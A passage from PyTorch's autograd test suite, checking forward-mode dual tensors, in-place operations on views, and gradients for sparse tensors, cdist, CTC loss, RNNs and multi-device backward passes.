= original_bar.clone() with fwAD.dual_level(): # Note that in this test, we use "update" to mean computing the right tangent for the dual # All the inplace operations here are expected to update the primal value of the Tensors but # not always their tangents. # Also all mentions of "non differentiable view" here means non forward differentiable view # unless specified otherwise. # See note [Forward Grad View/inplace] for more details on how these views work. # Check that inplace ops do not update non-differentiable views # Non differentiable view dual = fwAD.make_dual(foo, bar) dual *= 2 # Check that non differentiable view's tangent was not updated self.assertIsNone(fwAD.unpack_dual(foo)[1]) # Check that the computed result is correct self.assertEqual(bar, original_bar * 2) self.assertEqual(fwAD.unpack_dual(dual)[1], original_bar * 2) self.assertEqual(foo, original_foo * 2) self.assertEqual(fwAD.unpack_dual(dual)[0], original_foo * 2) # Other non differentiable view dual_primal, dual_tangent = fwAD.unpack_dual(dual) self.assertIsNone(fwAD.unpack_dual(dual_primal)[1]) self.assertIsNone(fwAD.unpack_dual(dual_tangent)[1]) dual_primal *= 2 # Ensure dual's tangent did not change self.assertEqual(fwAD.unpack_dual(dual)[0], original_foo * 4) self.assertEqual(fwAD.unpack_dual(dual)[1], original_bar * 2) dual_tangent *= 2 # Ensure dual's primal did not change self.assertEqual(fwAD.unpack_dual(dual)[0], original_foo * 4) self.assertEqual(fwAD.unpack_dual(dual)[1], original_bar * 4) def test_view_inplace_differentiable_views(self): original_foo = torch.rand(2) original_bar = torch.ones(2) # Do clones to be able to compare the values updated inplace # with the original content of these Tensors foo = original_foo.clone() bar = original_bar.clone() with fwAD.dual_level(): # Check that inplace ops do update differentiable view but stop at non differentiable ones # A non differentiable view dual = fwAD.make_dual(foo, bar) # A differentiable view view = dual.narrow(0, 0, 1) view *= 2 # Check that non differentiable view was not updated self.assertIsNone(fwAD.unpack_dual(foo)[1]) # Check that differentiable view was updated self.assertEqual(fwAD.unpack_dual(dual)[1], torch.tensor([2., 1.])) self.assertEqual(fwAD.unpack_dual(view)[1], torch.tensor([2.])) # Check that we track differentiable view even for Tensors that are not dual baz = torch.rand(2) baz += dual self.assertEqual(fwAD.unpack_dual(baz)[1], fwAD.unpack_dual(dual)[1]) # Updates on view should as well baz = torch.rand(2) baz[0] = dual[0] self.assertEqual(fwAD.unpack_dual(baz)[1][0], fwAD.unpack_dual(dual)[1][0]) # Unused values get a gradient of 0 self.assertEqual(fwAD.unpack_dual(baz)[1][1], 0.) # Check that forward non-differentiable views do prevent gradient update baz = torch.rand(2) view = baz.detach() view += dual self.assertIsNone(fwAD.unpack_dual(baz)[1]) def test_grad_cleanup(self): foo = torch.rand(2) bar = torch.rand(2) baz = torch.rand(2) with fwAD.dual_level(): dual = fwAD.make_dual(foo, bar) self.assertIsNone(fwAD.unpack_dual(foo)[1]) self.assertIs(fwAD.unpack_dual(dual)[1], bar) self.assertIsNone(fwAD.unpack_dual(dual)[1]) with fwAD.dual_level(): self.assertIsNone(fwAD.unpack_dual(foo)[1]) new_dual = fwAD.make_dual(foo, baz) dual_primal, dual_tangent = fwAD.unpack_dual(dual) new_dual_primal, new_dual_tangent = fwAD.unpack_dual(new_dual) self.assertEqual(dual_primal, new_dual_primal) self.assertIsNone(dual_tangent) self.assertEqual(new_dual_tangent, baz) def test_detach_view_tracking(self): # Default detach is both forward and backward non-differentiable foo = torch.rand(2) foo_weak = torch._C._WeakTensorRef(foo) out = foo.detach() del foo self.assertTrue(foo_weak.expired()) # Generic device type autograd tests. class TestAutogradDeviceType(TestCase): def test_min_max_median_backprops_to_all_values(self, device): for f in [torch.min, torch.max, torch.median, torch.nanmedian]: x1 = torch.tensor([1., 0., 1., 0., 1., 0.], device=device, requires_grad=True) x2 = torch.tensor([float('nan'), float('nan'), float('nan')], requires_grad=True) for x in [x1, x2]: y = f(x) y.backward() self.assertEqual(x.grad.sum(), 1.) self.assertEqual((x.grad == 1 / 3).sum(), 3) def test_cdist(self, device): def _test_euclidean_large_cdist(sizex, sizey=None): if sizey is None: sizey = sizex x = torch.randn(sizex, device=device, dtype=torch.float) y = torch.randn(sizey, device=device, dtype=torch.float) eps = 1e-6 # to avoid extremum x = x - (((x - y) < eps).float() * 2 * eps) x.requires_grad = True y.requires_grad = True dist = torch.cdist(x, y, p=2) # Do a backward pass to check that it is valid for large # matrices loss = dist.sum() loss.backward() _test_euclidean_large_cdist((2000, 5)) # Ensure that cdist backward with p<1 does not produce NaNs def test_cdist_grad_p_lt_1_no_nan(self, device): for p in [0.99, 0.7, 0.5, 0.1, 0.01]: x = torch.randn(1, 2, device=device) y = x.clone().detach() + torch.tensor([[1., 0.]], device=device) x.requires_grad = True y.requires_grad = True result = torch.cdist(x, y, p=p) result.backward(torch.ones_like(result)) self.assertFalse(torch.isnan(x.grad).any()) self.assertFalse(torch.isnan(y.grad).any()) def test_cdist_same_inputs(self, device): # Test to detect issues in cdist gradient calculation # When the distances are 0 sizex = (1, 27, 32) for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x = torch.randn(sizex, device=device, dtype=torch.float) dist_grad = torch.randn((1, 27, 27), device=device, dtype=torch.float) y = x.clone() eps = 1e-6 x.requires_grad = True d = torch.cdist(x, y) d.backward(dist_grad) # Check that the backward passs does not contain invalid # values such as nan or inf assert torch.isfinite(x.grad).all() def test_parameter_resize(self, device): asd = torch.nn.Parameter(torch.ones(16, dtype=torch.double, device=device)) for i in range(2): with torch.no_grad(): asd.set_(asd[1:]) asd.grad = None m = torch.cat((asd, asd)) m.sum().backward() @dtypes(torch.double, torch.cdouble) def test_sparse_ctor_getter_backward(self, device, dtype): # See NOTE [ Sparse: autograd and API ] on the expected behavior of this test def _test(size, sparse_dim, nnz, device): v_size = [nnz] + list(size[sparse_dim:]) i = torch.rand(sparse_dim, nnz) i.mul_(torch.tensor(size[:sparse_dim]).unsqueeze(1).to(i)) i = i.to(torch.long) inp = torch.randn(v_size, dtype=torch.double, device=device, requires_grad=True) other = self.genSparseTensor(size, sparse_dim, nnz, is_uncoalesced=True, device=device, dtype=dtype)[0] def fn(v): x = torch.sparse_coo_tensor(i, v, size, dtype=dtype, device=device) y = (x + other).coalesce() yv = y.values() new_v = yv.tanh() z = torch.sparse_coo_tensor(y.indices(), new_v, y.size()) return z.coalesce().values() gradcheck(fn, (inp,), check_batched_grad=False) # FIXME: make gradgradcheck work. # gradgradcheck(fn, (inp,), check_batched_grad=False) # assert that _values is non-differentiable with self.assertRaisesRegex(RuntimeError, "does not have a grad_fn"): other.detach().requires_grad_()._values().backward(torch.ones_like(other._values())) for empty_i, empty_v, empty_nnz in product([True, False], repeat=3): sparse_size = [] if empty_i else [2, 1] dense_size = [1, 0, 2] if empty_v else [1, 2] nnz = 0 if empty_nnz else 5 _test(sparse_size + dense_size, len(sparse_size), nnz, device) @dtypes(torch.double, torch.cdouble) def test_sparse_backward(self, device, dtype): class FixedGradientFunction(Function): @staticmethod def forward(ctx, x, grad_x): ctx.save_for_backward(grad_x) return x @staticmethod def backward(ctx, grad_x): saved_grad_x, = ctx.saved_tensors return saved_grad_x, None size = torch.Size([6, 3, 2]) i1 = torch.tensor([ [0, 3, 4], [0, 2, 2], ], dtype=torch.long) v1 = make_tensor([3, 2], dtype=dtype, device=device) sparse_grad1 = torch.sparse_coo_tensor(i1, v1, size, dtype=dtype, device=device) i2 = torch.tensor([ [0, 1, 3, 4], [0, 1, 2, 2], ], dtype=torch.long) v2 = make_tensor([4, 2], dtype=dtype, device=device) sparse_grad2 = torch.sparse_coo_tensor(i2, v2, size, dtype=dtype, device=device) dense_grad = torch.rand(size, device=device, dtype=dtype) fn = FixedGradientFunction # sparse first x = torch.randn(size, dtype=dtype, device=device, requires_grad=True) (fn.apply(x, sparse_grad1) + fn.apply(x, dense_grad) + fn.apply(x, sparse_grad2)).sum().backward() self.assertEqual(x.grad, dense_grad + sparse_grad1 + sparse_grad2) # dense first x = torch.randn(size, dtype=dtype, device=device, requires_grad=True) (fn.apply(x, dense_grad) + fn.apply(x, sparse_grad1) + fn.apply(x, sparse_grad2)).sum().backward() self.assertEqual(x.grad, dense_grad + sparse_grad1 + sparse_grad2) # sparse only x = torch.randn(size, dtype=dtype, device=device, requires_grad=True) (fn.apply(x, sparse_grad1) + fn.apply(x, sparse_grad2)).sum().backward() self.assertEqual(x.grad, sparse_grad1 + sparse_grad2) # autograd tests via common_method_invocations don't allow input tensors to # be sparse (RuntimeError: gradcheck expects all tensor inputs are dense when # check_sparse_nnz is set to False.) def test_sparse_mask_autograd(self, device): tensor = torch.randn(3, requires_grad=True, device=device) mask = torch.ones(3, device=device) mask[1] = 0 mask = mask.to_sparse() converted = tensor.sparse_mask(mask).to_dense() converted.sum().backward() self.assertEqual(tensor.grad, mask.to_dense()) def test_pyscalar_conversions(self, device): def _test_pyscalar_conversions(t, integral_conv): # integral -> integral l = t(torch.zeros(1, 1, 1, dtype=torch.long)) pyscalar = -12345 l[0] = pyscalar self.assertEqual(integral_conv(l), pyscalar) # floating point -> floating point f = Variable(t(torch.randn(1, 1, dtype=torch.double))) pyscalar = -12345.1 f[0] = pyscalar self.assertEqual(float(f), pyscalar) f[0] = nan self.assertTrue(math.isnan(float(f))) f[0] = inf self.assertEqual(float(f), inf) f[0] = -inf self.assertEqual(float(f), -inf) # integral -> floating point # check we can convert something that loses precision pyscalar = 1234567890123456789 self.assertNotEqual(pyscalar, integral_conv(float(pyscalar))) l[0] = pyscalar self.assertEqual(float(l), float(pyscalar)) # floating point -> integral f[0] = nan self.assertRaises(ValueError, lambda: integral_conv(f[0])) f[0] = inf self.assertRaises(OverflowError, lambda: integral_conv(f[0])) f[0] = -inf self.assertRaises(OverflowError, lambda: integral_conv(f[0])) f[0] = sys.float_info.max self.assertEqual(integral_conv(f), sys.float_info.max) # bool, nonzero def test_nonzero(tensor, value, expected): tensor[0] = value self.assertEqual(expected, bool(tensor)) self.assertEqual(expected, True if tensor else False) test_nonzero(l, 0, False) test_nonzero(l, -2, True) test_nonzero(f, 0.0, False) test_nonzero(f, sys.float_info.min, True) test_nonzero(f, nan, bool(nan)) test_nonzero(f, inf, bool(inf)) test_nonzero(f, -inf, bool(-inf)) _test_pyscalar_conversions(lambda x: x.to(device), lambda x: int(x)) @dtypesIfCUDA(torch.half, torch.float, torch.double, torch.int8, torch.int16, torch.int32, torch.int64) @dtypes(torch.float, torch.double, torch.int8, torch.int16, torch.int32, torch.int64) def test_set_requires_grad_only_for_floats(self, device, dtype): def f1(): a = torch.ones(1, dtype=dtype, device=device) a.requires_grad_() def f2(): a = torch.ones(1, dtype=dtype, device=device) a.requires_grad = True def f3(): torch.ones(1, dtype=dtype, device=device, requires_grad=True) a = torch.ones(1, dtype=dtype, device=device) a.requires_grad = False # should always work a.requires_grad_(False) for f in [f1, f2, f3]: if dtype.is_floating_point: f() else: with self.assertRaisesRegex(RuntimeError, 'floating point', msg="dt: {} device: {}".format(a.dtype, a.device)): f() @onlyCUDA def test_advanced_indexing_backwards_large(self, device): # See https://github.com/pytorch/pytorch/issues/22843 n = (1 << 16) x = torch.rand(n, 1, device=device, requires_grad=True) a = x[:, [0]] a.sum().backward() self.assertEqual(x.grad, torch.ones(n, 1, device=device)) def test_advanced_indexing_backwards_memory_format(self, device): # See https://github.com/pytorch/pytorch/issues/36956 shape = (2, 8, 1, 2) i = torch.randint(1, shape, device=device).contiguous(memory_format=torch.channels_last) x = torch.randn(shape, requires_grad=True, device=device) x[i].sum().backward() def _test_reentrant_parent_error_on_cpu(self, device): t1 = torch.rand([3, 3], requires_grad=True) t2 = torch.rand([3, 3], device=device, requires_grad=True) t3 = torch.rand([3, 3], device=device, requires_grad=True) # Parent graph cpu graph. t4 = t1 * t1 t5 = TestAutograd.SimulateBackwardError.apply(t4) # Child gpu graph (much longer than parent graph). prev = t2 * t2 for i in range(10): prev = prev * t2 reentrant_root = prev class ReentrantFunc(Function): @staticmethod def forward(ctx, inp): return inp.clone() @staticmethod def backward(ctx, grad): # Reentrant backward in child will take much longer. reentrant_root.backward() return grad # Parent gpu graph. t6 = ReentrantFunc.apply(t3) t7 = t6 * t6 # Parent graph will error out first, while child graph will continue executing. with self.assertRaisesRegex(Exception, "Simulate error"): torch.autograd.backward([t5.sum(), t7.sum()]) # No grads should be accumulated since child graph will stop execution # after parent receives error. self.assertIsNone(t2.grad) self.assertIsNone(t1.grad) self.assertIsNone(t3.grad) @onlyCUDA def test_reentrant_parent_error_on_cpu(self, device): before = CudaMemoryLeakCheck.get_cuda_memory_usage() # Run as separate function so that gc can clean up everything when we # check for memory usage. self._test_reentrant_parent_error_on_cpu(device) # Wait for autograd thread to cleanup failed tasks. after = CudaMemoryLeakCheck.get_cuda_memory_usage() start = time.time() while before != after and time.time() - start < 30: time.sleep(0.1) after = CudaMemoryLeakCheck.get_cuda_memory_usage() self.assertEqual(before, after) # test for backward in https://github.com/pytorch/pytorch/issues/15511 # TODO: opinfo pdist def test_pdist_large(self, device): def func(x): return torch.pdist(x, p=2) # shape[0] should be able to be (roughly) arbitrarily large, but the kernel # is currently limited to smaller sizes (see issue above); this is just testing # a floor. shape = (1000, 1) x = torch.randn(shape, device=device).requires_grad_() output = torch.pdist(x, p=2) # just run a single backward, as gradcheck/gradgradcheck is expensive here output.sum().backward() # TODO: see if these tests can be ported to OpInfos or moved to where's test suite def test_where_functional(self, device): x = torch.randn(5, 5, dtype=torch.double, device=device, requires_grad=True) y = torch.randn(5, 5, dtype=torch.double, device=device, requires_grad=True) cond = mask_not_all_zeros((5, 5)).to(device=device) def where(cond, x, y): return torch.where(cond, x, y) gradcheck(where, [cond, x, y], raise_exception=True) gradgradcheck(where, [cond, x, y], [torch.randn(5, 5, device=device)]) x = torch.randn(5, 1, 5, dtype=torch.double, device=device, requires_grad=True) y = torch.randn(5, 5, 1, dtype=torch.double, device=device, requires_grad=True) gradcheck(where, [cond, x, y], raise_exception=True) gradgradcheck(where, [cond, x, y], [torch.randn(5, 5, 5, device=device)]) def test_where_scalar(self, device): x = torch.randn(5, 5, dtype=torch.double, device=device, requires_grad=True) scalar = 4. cond = mask_not_all_zeros((5, 5)).to(device=device) def where_scalar_first(cond, x): return torch.where(cond, scalar, x) def where_scalar_second(cond, x): return torch.where(cond, x, scalar) gradcheck(where_scalar_first, (cond, x)) gradgradcheck(where_scalar_first, (cond, x)) gradcheck(where_scalar_second, (cond, x)) gradgradcheck(where_scalar_second, (cond, x)) @skipCUDAIf(True, """Test is flaky on Linux and Windows, typical error message: https://github.com/pytorch/pytorch/issues/34870""") def test_ctc_loss(self, device): batch_size = 64 num_labels = 101 target_length = 15 gradcheck_input_size = 10 ZERO_NONE = 0 ZERO_SOME = 1 ZERO_ALL = 2 # input_length, vary_lengths, zero_lengths tests = [(150, False, ZERO_NONE), (150, True, ZERO_NONE), (50, True, ZERO_SOME), (50, True, ZERO_ALL)] if 'cuda' in device: tests += [(50, False, ZERO_NONE), (50, True, ZERO_NONE), (150, True, ZERO_SOME), (150, True, ZERO_ALL)] for input_length, vary_lengths, zero_mode in tests: targets = torch.randint(1, num_labels, (batch_size, target_length), device=device, dtype=torch.long) x = torch.randn(gradcheck_input_size, dtype=torch.double, device=device, requires_grad=True) tile_factors = torch.randn(input_length * batch_size * num_labels // gradcheck_input_size + 1, device=device) input_lengths = [(torch.randint(input_length // 2, input_length + 1, ()).item() if vary_lengths or i == 0 else input_length) for i in range(batch_size)] if zero_mode == ZERO_ALL: target_lengths = [0 for _ in range(batch_size)] else: target_lengths = [(torch.randint(target_length // 2, target_length + 1, ()).item() if vary_lengths else target_length) for _ in range(batch_size)] if zero_mode == ZERO_SOME: idxes = torch.randint(0, batch_size, (10,)) for i in idxes: target_lengths[i] = 0 def ctc_after_softmax(x): x_full = ((x[:, None] * tile_factors[None, :]).view(-1)[:input_length * batch_size * num_labels] .view(input_length, batch_size, num_labels)) log_probs = torch.log_softmax(x_full, 2) return torch.nn.functional.ctc_loss(log_probs, targets, input_lengths, target_lengths) gradcheck(ctc_after_softmax, [x]) @onlyCUDA @skipCUDAIfRocm @skipCUDAIfCudnnVersionLessThan(7600) def test_ctc_loss_cudnn(self, device): batch_size = 16 input_length = 30 num_labels = 101 target_length = 15 targets = torch.randint(1, num_labels, (batch_size * target_length,), device='cuda', dtype=torch.long) log_probs = torch.log_softmax(torch.randn(input_length, batch_size, num_labels, device='cuda', dtype=torch.float), 2) log_probs.requires_grad_() input_lengths = batch_size * [input_length] target_lengths = batch_size * [target_length] grad_out = torch.randn(batch_size, device='cuda', dtype=torch.float) with torch.backends.cudnn.flags(enabled=False): loss_native = torch.nn.functional.ctc_loss(log_probs, targets, input_lengths, target_lengths, reduction='none') grad_native, = torch.autograd.grad(loss_native, log_probs, grad_out) loss_cudnn = torch.nn.functional.ctc_loss(log_probs, targets.to('cpu', torch.int32), input_lengths, target_lengths, reduction='none') self.assertTrue("Cudnn" in str(loss_cudnn.grad_fn)) grad_cudnn, = torch.autograd.grad(loss_cudnn, log_probs, grad_out) self.assertEqual(grad_cudnn, grad_native, atol=1e-4, rtol=0) def test_leaky_relu_inplace_with_neg_slope(self, device): a = torch.tensor([-1., 1.], device=device, requires_grad=True) b = torch.nn.functional.leaky_relu_(a.clone(), -2) with self.assertRaisesRegex(RuntimeError, "call out-of-place version"): b.backward(torch.ones(2, device=device)) a = torch.tensor([-1., 1.], device=device, requires_grad=True) b = torch.nn.functional.rrelu_(a.clone(), -5.0, 1.0) with self.assertRaisesRegex(RuntimeError, "call out-of-place version"): b.backward(torch.ones(2, device=device)) def test_leaky_relu_inplace_with_zero_slope(self, device): a = torch.tensor([-2., 0., 2.], device=device, requires_grad=True) b = torch.nn.functional.leaky_relu_(a.clone(), 0.0) b.backward(torch.ones(3, device=device)) expected = torch.tensor([0., 0., 1.], device=device) self.assertEqual(a.grad, expected) @onlyOnCPUAndCUDA def test_elu_inplace_with_neg_alpha(self, device): a = torch.tensor([-1., 1.], device=device, requires_grad=True) b = torch.nn.functional.elu_(a.clone(), alpha=-2) with self.assertRaisesRegex(RuntimeError, "call out-of-place version"): b.backward(torch.ones(2, device=device)) a = torch.tensor([-1., 1.], device=device, requires_grad=True) b = torch.nn.functional.celu_(a.clone(), alpha=-2) with self.assertRaisesRegex(RuntimeError, "call out-of-place version"): b.backward(torch.ones(2, device=device)) @onlyCUDA def test_free_unneeded_tensor(self, device): x = torch.randn(2, 3, 10, 10, device=device, requires_grad=True) m = torch.randn(1, 3, 1, 1, device=device) z = x.sum() base_mem = torch.cuda.memory_allocated() z = ((x + 2) * m).sum() end_mem = torch.cuda.memory_allocated() # In the end the memory usage should remain equal, because neither of # (x + 2) and ((x + 2) * m) should be kept alive for backward, while the # previous allocation of z had the same size as the current one. self.assertEqual(base_mem, end_mem) @onlyCUDA def test_pin_memory(self, device): x = torch.randn(2, 2, dtype=torch.double, requires_grad=True) self.assertEqual(x, x.pin_memory()) self.assertIsNot(x, x.pin_memory()) self.assertTrue(x.pin_memory().requires_grad) gradcheck(lambda x: x.pin_memory(), [x]) gradgradcheck(lambda x: x.pin_memory(), [x]) @skipCUDAIfRocm @onlyCUDA def test_profiler_emit_nvtx(self, device): # This test is not intended to ensure correctness of nvtx ranges. # That would require something a great deal more complex (you'd have to create a # profile in a subprocess, open it, and parse the sql somehow). # This test is merely intended to catch if emit_nvtx breaks on construction. a = torch.tensor([1, 2, 3], dtype=torch.float32, device=device) with torch.cuda.profiler.profile(): with emit_nvtx(): a.add(1.0) @onlyCUDA def test_rnn_backward_to_input_but_not_parameters(self, device): # this checks whether it is possible to not require # weight parameters, but require inputs, see #7722 l = torch.nn.LSTM(2, 3).to(device) for p in l.parameters(): p.requires_grad = False s = torch.randn(1, 1, 2, requires_grad=True, device=device) out, _ = l(s) out.sum().backward() self.assertFalse(s.grad is None or s.grad.abs().sum().item() == 0) @onlyCUDA def test_lstmcell_backward_only_one_output_grad(self, device): # checks that undefined gradients doen't hamper the backward # see #11872 l = torch.nn.LSTMCell(2, 3).to(device).double() s = torch.randn(1, 2, device=device, dtype=torch.double, requires_grad=True) for i in range(2): out = l(s)[i] out.sum().backward() self.assertFalse(s.grad is None or s.grad.abs().sum().item() == 0) def _test_rnn_mod(self, mod, inp): def flatten_out(mod, inp): out = mod(inp) return tuple([t if isinstance(t, torch.Tensor) else tt for t in out for tt in t]) gradcheckfunc = partial(flatten_out, mod) with torch.backends.cudnn.flags(enabled=False): gradcheck(gradcheckfunc, inp, check_batched_grad=False) gradgradcheck(gradcheckfunc, inp, check_batched_grad=False) if inp.is_cuda and not TEST_WITH_ROCM: # Assert that we have good error message around unsupported CuDNN double backward # NB: we trigger double backward using .backward() instead of autograd.grad due to # https://github.com/pytorch/pytorch/issues/37874 with torch.backends.cudnn.flags(enabled=True): result = gradcheckfunc(inp) result[0].sum().backward(create_graph=True) grad0 = next(mod.parameters()).grad with self.assertRaisesRegex(RuntimeError, "please disable the CuDNN backend temporarily"): grad0.sum().backward() # Here we avoid the backward(create_graph=True) memory leak # described in https://github.com/pytorch/pytorch/issues/7343 for param in mod.parameters(): param.grad = None inp.grad = None @skipMeta # LSTM cell reuses output which was resized def test_LSTM_grad_and_gradgrad(self, device): hsize = 4 inp = torch.rand(1, 3, hsize, device=device, dtype=torch.float64, requires_grad=True) for bias in [True, False]: mod = torch.nn.LSTM(hsize, hsize, bias=bias).to(device).to(torch.float64) self._test_rnn_mod(mod, inp) @skipMeta # GRU cell reuses output which was resized def test_GRU_grad_and_gradgrad(self, device): hsize = 4 inp = torch.rand(1, 3, hsize, device=device, dtype=torch.float64, requires_grad=True) for bias in [True, False]: mod = torch.nn.GRU(hsize, hsize, bias=bias).to(device).to(torch.float64) self._test_rnn_mod(mod, inp) def test_copysign_subgradient(self, device): # Input is 0.0 x = torch.tensor([0.0, 0.0, 0.0], dtype=torch.float, device=device, requires_grad=True) y = torch.tensor([-1.0, 0.0, 1.0], dtype=torch.float, device=device, requires_grad=True) out = torch.copysign(x, y) out.sum().backward() self.assertEqual(x.grad.tolist(), [0.0, 0.0, 0.0]) self.assertEqual(y.grad.tolist(), [0.0] * 3) # Input is -0.0 x = torch.tensor([-0.0, -0.0, -0.0], dtype=torch.float, device=device, requires_grad=True) y = torch.tensor([-1.0, 0.0, 1.0], dtype=torch.float, device=device, requires_grad=True) out = torch.copysign(x, y) out.sum().backward() self.assertEqual(x.grad.tolist(), [0.0, 0.0, 0.0]) self.assertEqual(y.grad.tolist(), [0.0] * 3) # Other is 0.0 x = torch.tensor([-1.0, 0.0, 1.0], dtype=torch.float, device=device, requires_grad=True) y = torch.tensor([0.0, 0.0, 0.0], dtype=torch.float, device=device, requires_grad=True) out = torch.copysign(x, y) out.sum().backward() self.assertEqual(x.grad.tolist(), [-1.0, 0.0, 1.0]) self.assertEqual(y.grad.tolist(), [0.0] * 3) # Other is -0.0 x = torch.tensor([-1.0, 0.0, 1.0], dtype=torch.float, device=device, requires_grad=True) y = torch.tensor([-0.0, -0.0, -0.0], dtype=torch.float, device=device, requires_grad=True) out = torch.copysign(x, y) out.sum().backward() self.assertEqual(x.grad.tolist(), [1.0, 0.0, -1.0]) self.assertEqual(y.grad.tolist(), [0.0] * 3) @deviceCountAtLeast(1) def test_grad_assignment(self, devices): x = torch.randn(5, 5, device=devices[0]) # Tests that the wrong shape raises with self.assertRaises(RuntimeError): x.grad = torch.randn(2, 2, device=devices[0]) # Tests that the wrong dtype raises with self.assertRaises(RuntimeError): x.grad = torch.randn(5, 5, dtype=torch.long, device=devices[0]) # Tests that self-assignment raises with self.assertRaises(RuntimeError): x.grad = x # Tests device -> cpu grad assignment raises if self.device_type != 'cpu': with self.assertRaises(RuntimeError): t_cpu = torch.rand(5, 5) t_cpu.grad = torch.randn(5, 5, device=devices[0]) # Tests half type on CUDA if self.device_type == 'cuda': x = x.to(dtype=torch.half, device=devices[0]) x.grad = torch.zeros_like(x) # Tests cross-device assignment raises if len(devices) > 1: x = torch.randn(5, 5, device=devices[0]) with self.assertRaises(RuntimeError): x.grad = torch.randn(5, 5, device=devices[1]) @deviceCountAtLeast(1) @dtypes(torch.float, torch.double) def test_requires_grad_factory(self, devices, dtype): fns = [torch.ones_like, torch.testing.randn_like] x = torch.randn(2, 3, dtype=dtype, device=devices[0]) for fn in fns: for requires_grad in [True, False]: output = fn(x, dtype=dtype, device=devices[0], requires_grad=requires_grad) self.assertEqual(requires_grad, output.requires_grad) self.assertIs(dtype, output.dtype) self.assertEqual(devices[0], str(x.device)) @deviceCountAtLeast(2) def test_unused_output_device(self, devices): from torch.nn.parallel._functions import Broadcast x = torch.randn(5, 5, dtype=torch.float, device=devices[0], requires_grad=True) outputs = Broadcast.apply(list(range(len(devices))), x) y = outputs[-1] * 2 y.sum().backward() # TODO(#38095): Replace assertEqualIgnoreType. See issue #38095 self.assertEqualIgnoreType(x.grad, torch.ones(5, 5) * 2) @deviceCountAtLeast(2) def test_backward_device(self, devices): # check that current device matches the variable's device device = [None] class Identity(torch.autograd.Function): @staticmethod def forward(ctx, x): return x.clone() @staticmethod def backward(ctx, grad_output): device[0] = grad_output.device return grad_output.clone() v = torch.randn(1, device=devices[1], requires_grad=True) Identity.apply(v).backward() self.assertEqual(str(device[0]), devices[1]) @deviceCountAtLeast(2) def test_inputbuffer_add_multidevice(self, devices): input = torch.randn(1, device=devices[0], requires_grad=True) output = input.to(device=devices[1]) + input.to(device=devices[1]) output.backward() @onlyCPU def test_copy_(self, device): # At the time of writing this test, copy_ is not generated from native_functions.yaml # there was a bug that bfloat16 was not recognized as floating. x = torch.randn(10, device=device, requires_grad=True) floating_dt = [dt for dt in torch.testing.get_all_dtypes() if dt.is_floating_point] for dt in floating_dt: y = torch.empty(10, device=device, dtype=dt) y.copy_(x) self.assertTrue(y.requires_grad) z = x.to(torch.bfloat16) self.assertTrue(z.requires_grad) @onlyCUDA def test_simple_reentrant_cross_device(self, device): class ReentrantFunc(Function): _cpu_mode = True @staticmethod def forward(ctx, x): return x * (x + 2) @staticmethod def backward(ctx, grad_output): with torch.enable_grad(): if ReentrantFunc._cpu_mode: new_param = torch.randn(2, 2, requires_grad=True) (new_param ** 2).sum().backward() else: new_param = torch.randn(2, 2, device=device, requires_grad=True) (new_param ** 2).sum().backward() return grad_output # Reentrant starts on GPU thread, finishs on GPU thread x = torch.randn(2, 2, device=device, requires_grad=True) out = ReentrantFunc.apply(x) out.sum().backward() # Reentrant starts on CPU thread, finishs on GPU thread x = torch.randn(2, 2, requires_grad=True) # set ReentrantFunc node to GPU to emit tasks to GPU queue ReentrantFunc._cpu_mode = False out = ReentrantFunc.apply(x) out.sum().backward() # Reentrant starts on GPU thread, finishs on CPU thread x = torch.randn(2, 2, device=device, requires_grad=True) # set ReentrantFunc node to CPU to emit tasks to CPU queue ReentrantFunc._cpu_mode = True out = ReentrantFunc.apply(x) out.sum().backward() @onlyCUDA def test_cross_device_reentrant_autograd(self, device): # Output on gpu so that this task will be associated with the gpu thread def fn_on_gpu(inp): # Artificially increase the priority of the next op to make sure it runs # as soon as we reach it before the ops of branch1. dummy = inp * 2 * 2 * 2 * 2 return inp.to(device=device) def parent_on_cpu(inp): # Slow branch of ops on gpu so that the work queue for the gpu thread # won't empty too quickly. They also have smaller priorities than the # ones created by fn_on_gpu branch1 = inp.to(device=device) branch1 = branch1 / branch1 branch1 = branch1 / branch1 branch1 = branch1 / branch1 # Perform checkpoint on cpu tensors. So the last op performed in the reentrant # autograd is an AccumulateGrad that runs on the cpu thread for the gpu thread. # So the cpu thread will notify the gpu thread with an empty NodeTask. branch2 = checkpoint(fn_on_gpu, inp) out = branch2 + branch1 return out inp = torch.rand(2, requires_grad=True) out = parent_on_cpu(inp) # This will segfault if the empty NodeTask is not handled properly in the # gpu thread ReadyQueue out.sum().backward() def test_inplace_on_view_backprop_base(self, device): # modify view and back-prop through base root = torch.randn(2, 2, device=device, requires_grad=True) x = root.clone() v1 = x.narrow(0, 0, 1) v1.mul_(2) x.sum().backward() self.assertEqual(root.grad.tolist(), [[2, 2], [1, 1]]) def test_inplace_on_view_backprop_view_of_view(self, device): # modify view and backprop through view-of-view root = torch.randn(2, 2, device=device, requires_grad=True) x = root.clone() v1 = x.narrow(0, 0, 1) v2 = x.narrow(0, 0, 1) v1.mul_(2) v2.sum().backward() self.assertEqual(root.grad.tolist(), [[2, 2], [0, 0]]) def test_inplace_on_view_of_view(self, device): # modify view-of-view and backprop through base root = torch.randn(2, 2, device=device, requires_grad=True) x = root.clone() v1 = x.narrow(0, 0, 1) v2 = v1.narrow(1, 1, 1) v2.mul_(2) x.sum().backward() self.assertEqual(root.grad.tolist(), [[1, 2], [1, 1]]) def test_inplace_on_view_then_no_grad(self, device): # Perform an in-place operation on a view of a non-leaf variable. a = torch.ones(3, 1, dtype=torch.double, device=device, requires_grad=True) b = a * 2 c = b.view_as(b) c[0][0] = 3 # Force a graph update with grad disabled. with torch.no_grad(): c.grad_fn c.sum().backward() def test_inplace_on_view_gradcheck(self, device): # gradcheck modifications to views a = torch.randn(4, 4, dtype=torch.double, device=device, requires_grad=True) b = torch.randn(2, 2, dtype=torch.double, device=device, requires_grad=True) def func(root, b): x = root.clone() x.narrow(1, 2, 2).narrow(0, 1, 2).mul_(b) x.narrow(1, 0, 2).narrow(0, 1, 2).mul_(b) return x gradcheck(func, [a, b], raise_exception=True) go = torch.randn(a.size(), dtype=torch.double, device=device, requires_grad=True) gradgradcheck(func, (a, b), (go,)) def test_inplace_on_view_multiple_outputs(self, device): root = torch.arange(9., dtype=torch.double).reshape(3, 3).requires_grad_() x = root.clone() v1 = x.unbind() with self.assertRaises(RuntimeError): v1[0].mul_(2) def test_inplace_on_view_of_multiple_output_view(self, device): a = torch.rand(10, dtype=torch.double, device=device, requires_grad=True).clone() b = a.unbind(0) c = b[0].view_as(b[0]) with self.assertRaises(RuntimeError): c.mul_(2) def test_inplace_multiple_output_view_of_view(self, device): a = 